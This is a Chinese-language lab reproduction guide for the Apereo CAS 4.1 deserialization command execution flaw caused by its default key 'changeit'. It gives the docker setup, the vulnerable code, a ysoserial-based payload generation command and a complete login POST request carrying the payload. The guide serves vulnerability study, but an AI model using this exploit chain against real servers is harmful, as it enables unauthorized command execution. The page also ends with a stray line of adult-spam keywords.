<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apereo CAS 4.1 反序列化命令執行漏洞

    Apereo CAS 4.1 反序列化命令執行漏洞

    Apereo CAS是一款Apereo發布的集中認證服務平臺,常被用于企業內部單點登錄系統。其4.1.7版本之前存在一處默認密鑰的問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,進而執行任意命令。

    參考鏈接:

    環境搭建

    執行如下命令啟動一個Apereo CAS 4.1.5:

    docker-compose up -d
    

    環境啟動后,訪問http://your-ip:8080/cas/login即可查看到登錄頁面。

    漏洞復現

    漏洞原理實際上是Webflow中使用了默認密鑰changeit

    public class EncryptedTranscoder implements Transcoder {
        private CipherBean cipherBean;
        private boolean compression = true;
    
        public EncryptedTranscoder() throws IOException {
            BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
            bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
            bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
            bufferedBlockCipherBean.setKeyAlias("aes128");
            bufferedBlockCipherBean.setKeyPassword("changeit");
            bufferedBlockCipherBean.setNonce(new RBGNonce());
            this.setCipherBean(bufferedBlockCipherBean);
        }
    
        // ...

    我們使用Apereo-CAS-Attack來復現這個漏洞。使用ysoserial的CommonsCollections4生成加密后的Payload:

    java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
    

    然后我們登錄CAS并抓包,將Body中的execution值替換成上面生成的Payload發送:

    POST /cas/login HTTP/1.1
    Host: your-ip
    Content-Length: 2287
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://your-ip:8080
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://your-ip:8080/cas/login
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
    Connection: close
    
    username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN
    

    登錄Apereo CAS,可見touch /tmp/success已成功執行:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类